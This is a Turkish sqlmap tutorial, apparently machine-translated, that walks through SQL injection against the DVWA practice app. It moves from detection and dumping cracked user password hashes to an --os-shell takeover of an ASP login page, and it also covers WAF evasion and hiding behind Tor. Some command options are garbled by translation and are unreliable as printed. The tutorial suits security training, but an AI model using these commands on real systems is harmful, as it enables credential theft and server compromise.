SQL Enjeksiyonu, saldırganın bir web uygulamasının SQL sorgu mantığını değiştirerek veritabanındaki değerleri okumasına/değiştirmesine/silmesine ve bazen sunucu tarafında rastgele kod çalıştırmasına olanak tanıyan bir saldırı türüdür. Bu makalede, SQL enjeksiyonlarını gerçekleştirmek için popüler sqlmap yardımcı programı tartışılacaktır.

Şu anda bu tür bir güvenlik açığı mümkün olanların en tehlikelisidir. 7 yıldır “OWASP TOP-10”un öncü çizgisine SQL enjeksiyonları başkanlık ediyor.

Bu güvenlik açığının 5 ana nedeni vardır:

  1. Giriş parametrelerinin, özellikle de kullanıcı girişinin yetersiz veya doğrulanmaması. “Herhangi bir giriş parametresi kötüdür”
  2. Veritabanlarına mantıksız ve zayıf şekilde korunan erişim. Bu kategori şu gibi faktörleri içerir: çok sayıda yönetici ve süper kullanıcı (kök), zayıf bir kimlik doğrulama sistemi, ikincil yöneticiler için çok sayıda hak vb.
  3. Mimari. Güncelliğini yitirmiş teknolojilerin kullanılması, kontrol tedbirlerinin eksikliği, “tehdit modelleme” metodolojisinin ihmal edilmesi.
  4. Açıkça savunmasız kodun kalıtımı, düşük güvenlik düzeyine sahip hazır çözümlerin kullanılması.
  5. Yürütülebilir kodun verilerden uygun düzeyde soyutlanmaması.

SQLMap.

SQL enjeksiyon türleri.

SQLMap yardımcı programının kullandığı SQL enjeksiyon türlerine bakalım:

  1. Boolean Tabanlı Kör SQL Enjeksiyonu
    • Güvenlik açıklarını tespit etmek için HTTP isteklerinin ve yanıtlarının karakter karakter okunduğu bir yöntem.
    • Güvenlik açığı bulunan bir parametre tespit edildiğinde SQLMap, sunucunun bu kodu çalıştırarak yanıt vermesini beklerken sözdizimsel olarak doğru SQL ifadelerini değiştirir veya ekler.
    • SQLMap, orijinal geçerli isteği, kötü amaçlı kod katıştırılmış bir isteğin yanıtıyla karşılaştırır.
    • SQLMap ikiye bölme algoritmasını kullanır ( ikiye bölünmüş algoritma) maksimum yedi HTTP isteği kullanarak yanıtın her karakterini almak için.
    • Cevabın saf metin olarak verilmediği durumlarda SQLMap, cevabı belirlemek için algoritmayı daha büyük değerlere uyarlar.
  2. Zaman Tabanlı Kör SQL Enjeksiyonu
    • Zamana Dayalı yöntemin kendisi, güvenlik açığı bulunan parametreye sözdizimsel olarak doğru bir SQL ifadesi enjekte ederek istek ve yanıt sürelerine dayalı bir karşılaştırma olduğunu varsayar.
    • SQLMap, veritabanını belirli bir süre boyunca geri dönmek üzere beklemeye alan SQL ifadelerini kullanır.
    • Karakter karakter çıktısı almak için aynı ikiye bölmeli algoritmayı kullanan SQLMap, HTTP yanıt süresini orijinal istekle karşılaştırır.
  3. Hata Tabanlı SQL Enjeksiyonu
    • SQLMap, belirli hataların oluşturulmasına neden olabilecek SQL ifadelerini kullanır.
    • Yardımcı program, sunucunun HTTP yanıtındaki hataları arar.
    • Bu yöntem yalnızca web uygulaması hata mesajlarını açıklayacak şekilde yapılandırılmışsa çalışır.
  4. BİRLİK Sorgulama
    • SQL deyimini girin BİRLİK HEPSİNİ SEÇİN .
    • UNION sorgularına dayalı SQL enjeksiyonu, uygulama davranışına göre çalışır; Bir uygulama, yazılı bir SELECT sorgusunun sonucunu, çıktının sayfanın içeriğine yazılmasına izin veren belirli bir döngü veya talimat satırından geçirdiğinde.
    • Çıkışın herhangi bir döngüden geçmemesi durumunda için veya diğer ifade dizileri için SQLMap bir defalık UNION sorgu enjeksiyonunu kullanır.
  5. Yığılmış Sorgu
    • Katlanmış sorguları kullanma. SQLMap, etkilenen parametrenin değerine noktalı virgül (;) ekler ve ifadeyi ekler Yürütülmesi gereken SQL.
    • Bu tekniği kullanarak SELECT dışındaki SQL ifadelerini çalıştırabilirsiniz. Bu, verileri işlemek, okuma ve yazma erişimi elde etmek ve son olarak işletim sistemi tarafından yakalanmak için kullanışlıdır.
  6. Bant dışı
    • Bu yöntem, etkilenen uygulamada çalıştırılan sorguların sonuçlarının çıktısını almak için ikincil veya başka bir iletişim kanalı kullanır.
    • Örneğin, ekleme bir web uygulamasında ve aşağıdaki gibi ikincil bir kanalda yapılır: DNS sorguları, verileri saldırganın etki alanına geri iletmek için kullanılır.

SQLMap'in temel kullanımı.

Yardımcı programı başlatın (değişkende olmalıdırYOL ):

$sql haritası

Veya yardımcı program dizininden:

$ piton sqlmap.py

Belgeleri çağırmak için tuşunu kullanın «- H / — yardım »:

$ sqlmap --yardım $ python sqlmap.py –yardım

SQLMap anahtarlarının eylemleri tamamen saldırganın tam olarak neyi başarmak istediğine bağlıdır. SQLMap eylemlerinin temel listesi şuna benzer:

  • Ad, sürüm ve diğer ayrıntılar gibi veritabanı bilgilerini listeleyin.
  • İçerdiği tablolarla ilgili bilgileri listelemek için belirli bir veritabanını seçin.
  • Tabloyu seçin ve sütun bilgilerini listeleyin.
  • Bir sütun seçin ve değerlerini almak için satırları listeleyin.
  • Daha fazla sömürü.

Pratik.

Pratik eğitimimiz için kullanacağımız Lanet etmek Hassas Başvuru (DVWA veya "Lanet olası savunmasız web uygulaması").

DVWA Pentest becerilerini geliştirmek için tasarlanmış, PHP ve MySQL gibi teknolojiler üzerine kurulu ücretsiz bir web uygulamasıdır.

Artık sadece enjeksiyonlarla ilgileniyoruz, ancak genel olarak resmi bilgilere dayanarak oluşturulan diğer güvenlik açıklarında yeteneklerinizi test edebilirsiniz. OWASP TEPE -10 .

Not: Bu uygulama, Linux'un temelleri hakkında bilgi sahibi olduğunuzu, başlangıç ​​seviyesinde İngilizce bilgisine sahip olduğunuzu ve Google'ı kullanma becerisine sahip olduğunuzu (yukarıdaki becerilere sahip değilseniz) varsayar.

Kurulum:

  • Uygulamayı indirin ve talimatları izleyin;
  • Zorluk seviyesini DÜŞÜK olarak değiştirin;
  • Biz sadece “SQL Injection” sekmeleriyle ilgileniyoruz;

İlk veri:

  • Özel bir ağdaki web sunucusu
  • Savunmasız URL: http:// senin ev sahibi . iletişim /dvwa/vulneraabilitys/sqli/?id=1&Gönder=Gönder#
  • Savunmasız parametre: İD

O halde başlayalım:

  1. Kullanılabilirliği onaylıyoruzSQL enjeksiyonlar:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulneraibility/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Komutun açıklaması:

— url – güvenlik açığı olduğu varsayılan parametreyi içeren URL. Bu anahtarın değişkeninin tırnak içinde yazıldığına dikkat etmek önemlidir, çünkü Kontrol edilen URL'de birden fazla iletilen parametre var. Aksi takdirde tırnak işaretlerini göz ardı edebilir ve anahtarın kısa versiyonunu kullanabilirsiniz. “- sen eşittir işareti olmadan .

- çerez – Bir saldırı sırasında doğrudan erişim için oturum çerezi (isteğe bağlı anahtar).

Çözüm:

Analiz:

  • Uygulama SQL enjeksiyonuna karşı savunmasızdır
  • Enjeksiyon tipi – UNION Sorgusu
  • Arka uç veritabanı (DBMS) – MySQL5
  • İşletim Sistemi teknik ayrıntıları - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Veritabanlarının adlarını listeliyoruz:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulneraibility/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Komutun açıklaması:

—dbs – mevcut veritabanlarını listelemek için anahtar.

Çözüm:

Analiz: SQLMap mevcut veritabanlarını listeledi (toplamda 7).

  1. Tabloların adlarını listeliyoruz (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulneraibility/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Komutun açıklaması:

-D – İlgilendiğimiz veritabanını belirtin.

--tables – Veritabanındaki mevcut tabloları listeler.

Çözüm:

Analiz: Gördüğümüz gibi SQLMap veritabanındaki 2 tablonun adlarını başarıyla listeledi dvwa .

  1. Tablo sütun adlarının daha fazla listelenmesi "kullanıcılar ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulneraibility/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T kullanıcılar –sütunlar

Komutun açıklaması:

-T – İlgilendiğimiz tabloyu belirtin.

—sütunlar – Tablodaki mevcut sütunları listeleyin.

Çözüm:

Analiz: Gördüğümüz gibi SQLMap tabloda 6 sütunun adlarını başarıyla listeledi kullanıcılar, BD dvwa .

  1. Değerleri tablodan listeliyoruz/çekiyoruz”kullanıcılar ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulneraibility/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T kullanıcılar -C user_id,user,password --dump

Komutun açıklaması:

C – Bizi ilgilendiren sütunları belirtin.

--dump – Listelenen sütunlardaki değerleri döker.

Çözüm:

Analiz: SQLMap'in yanıtına dayanarak aşağıdaki noktalara dikkat ediyoruz:

  • SQLMap, belirtilen sütunlardan kayıtları alır ve ardından bu sütunlarda bulunan verileri analiz eder.
  • Veriler olası şifre karmaları olarak tanındıktan sonra SQLMap, çeşitli karma algoritmaları kullanarak karma değeri kırmaya çalışır.
  • Bu durumda karma MD5'tir, dolayısıyla aracın kullandığı ilk karma tekniğiyle karmaları başarılı bir şekilde kırabilir ve iyi biçimlendirilmiş bir yanıt üretebilir.
  • Ayrıca araç, listelenen girişleri ileride kullanmak üzere ".csv" dosya biçiminde kaydeder; Yani verileri bir metin dosyasına aktarmanıza veya ekran görüntüsü almanıza gerek yok, SQLMap bununla ilgilenecektir.
  1. Sunucunun daha fazla kullanılması ve ele geçirilmesi (A.S.P. , dahil değilDVWA ):
./sqlmap.py --url = "http://192.168.152.129/login.asp" --data = "txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Komutun açıklaması:

—data – POST isteğinde gönderilen test parametrelerini belirtin.

—os —shell – SQL enjeksiyonu yoluyla sunucu konsolundan yararlanmaya çalışmak için özel anahtar.

Çözüm:

Analiz: SQLMap'in yanıtına dayanarak aşağıdaki noktalara dikkat ediyoruz:

  • SQL enjeksiyonunu onaylayıp kullandıktan sonra SQLMap, kullanıcının bir DBA (Veri Tabanı Yöneticisi) olup olmadığını kontrol eder.
  • Araç daha sonra SQL Server 2000 tarafından yaygın olarak kullanılan genişletilmiş saklı yordamı - "xp_cmdshell" - kullanmayı denedi.
  • "xp_cmdshell", verilen komut satırını bir işletim sistemi komutu olarak çalıştırmak için kullanılır. Buna karşılık, sonucu standart metin olarak çıktı olarak verir.

Daha derin bir sistem erişimi düzeyi elde etmenin faydaları:

  • Kullanıcı kimlik bilgilerine veya şifre karmalarına erişim.
  • Sunucuya dosya yüklemenize veya sunucudan indirmenize olanak tanıyan etkileşimli bir kabuk.
  • Dahili ağı keşfetmek için eksen komutlarını (OS) çalıştırın.
  • Kötü amaçlı yazılım indirme yeteneği.
  • Metasploit Çerçevesini kullanarak daha fazla yararlanma.
  • Arka kapıların oluşturulması ve doldurulması.

En iyi uygulamalar ve gelişmiş kullanım.

  1. SQL Haritası VeSABUN (Basit Nesne Erişim Protokol ) istekler: SOAP isteklerini ayrıştırma işlemi oldukça basittir:
    • SABUN isteğinizi yakalayın.
    • Olası güvenlik açığı parametreleriyle birlikte bir metin dosyasına kaydedilmesi.
    • Güvenlik açığı bulunan parametreyi biliyorsanız SQLMap için -p seçeneğiyle birlikte aşağıdaki komutu kullanın:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap, SOAP isteğini otomatik olarak ayrıştıracak ve güvenlik açığı bulunan parametreye sızmaya çalışacaktır.
  1. SQL Haritası VeJSON (JavaScript Nesne Gösterim ) istekler: SOAP sorguları için SQLMap'in kullanıldığı benzer senaryolarda, JSON sorguları da analiz edilebilir ve kullanılabilir. Bir JSON sorgu türü için SQLMap, "sorgu dosyasındaki" JSON sorgu türünü tespit ederek güvenlik açığından yararlanmanızı ister. Evet cevabını verdiğinizde araç, isteği analiz edecek ve kendi saldırı vektörünü seçecektir.
  2. SQL Haritası ve proxy sunucusu: Kurumsal ağ türleri genellikle tüm gelen veya giden trafik için kontrollü proxy'ler kullanılarak korunur ve izlenir. Bu gibi durumlarda, hedef URL ile iletişim kurmak için doğrudan SQLMap seçeneğine bir proxy seçeneği ekleme seçeneğiniz vardır. SQLMap bir komut satırı aracı olmasına rağmen, HTTP protokolü aracılığıyla iletişim kurar; dolayısıyla ilgili İnternet bağlantısı için bir HTTP proxy ayarlarsanız, SQLMap bunu temel alacaktır:
$ ./sqlmap.py --proxy=http:// :
  1. SQL Haritası VeWAF ( Başvuru Güvenlik duvarı ): WAF, web uygulamaları için ek bir koruma katmanıdır ve SQLMap'te bulunan standart yöntemleri kullanarak analiz ve işlemi önemli ölçüde karmaşık hale getirir. Bu amaçla, WAF'ın arkasında bulunan web uygulamalarıyla çalışmayı büyük ölçüde kolaylaştıran bir "tamper -script" işlevi bulunmaktadır.
  2. SQL Haritası ve anonimlik: Kimliğinizi gizlemek ve hedef uygulamaya anonim görünmek istiyorsanız TOR (The Onion Router) proxy sunucusunu kullanabilirsiniz. SQLMap'te, trafiğin veya isteğin oluşturulduğu kaynağı gizlemek için TOR proxy'sini aşağıdaki anahtarlarla yapılandırabilirsiniz:
    • tor yardımcı programı TOR proxy moduna geçirmek.
    • tor tip TOR proxy protokolünün manuel yapılandırılması (HTTP /SOCKS 4/4a /5).
    • kontrol etmek tor TOR proxy'sinin işlevselliğini kontrol etme


 


Okumak:



Samsung Galaxy akıllı telefonlar için programlar Samsung akıllı telefonlar için programlar

Samsung Galaxy akıllı telefonlar için programlar Samsung akıllı telefonlar için programlar

Samsung DeX platformu, Galaxy cihaz sahiplerinin, cihazlarını harici monitörlere bağlayıp kişisel bilgisayar olarak kullanmalarına olanak tanıyor....

Arka plan resmi Bir html sayfasına arka plan nasıl eklenir

Arka plan resmi Bir html sayfasına arka plan nasıl eklenir

Kısa bilgi CSS versiyonları Değerler url Değer, yapı içerisinde belirtilen grafik dosyasının yoludur...

Windows'ta ağ üzerinden paylaşılan klasör erişimini ayarlama

Windows'ta ağ üzerinden paylaşılan klasör erişimini ayarlama

Önceki makalelerde de söylediğimiz gibi, yerel bir ağ, İnternet'e ortak erişimi düzenlemenin yanı sıra birçok yararlı özelliğe sahiptir. İÇİNDE...

Rambler - artık var olmayan bir arama motoru (en parlak döneminden düşüşüne kadar)

Rambler - artık var olmayan bir arama motoru (en parlak döneminden düşüşüne kadar)

Medya portalı Rambler.ru hem Rusya'da hem de diğer BDT ülkelerinde oldukça popülerdir. Burada bir tanesinin olması sayesinde...

besleme resmi RSS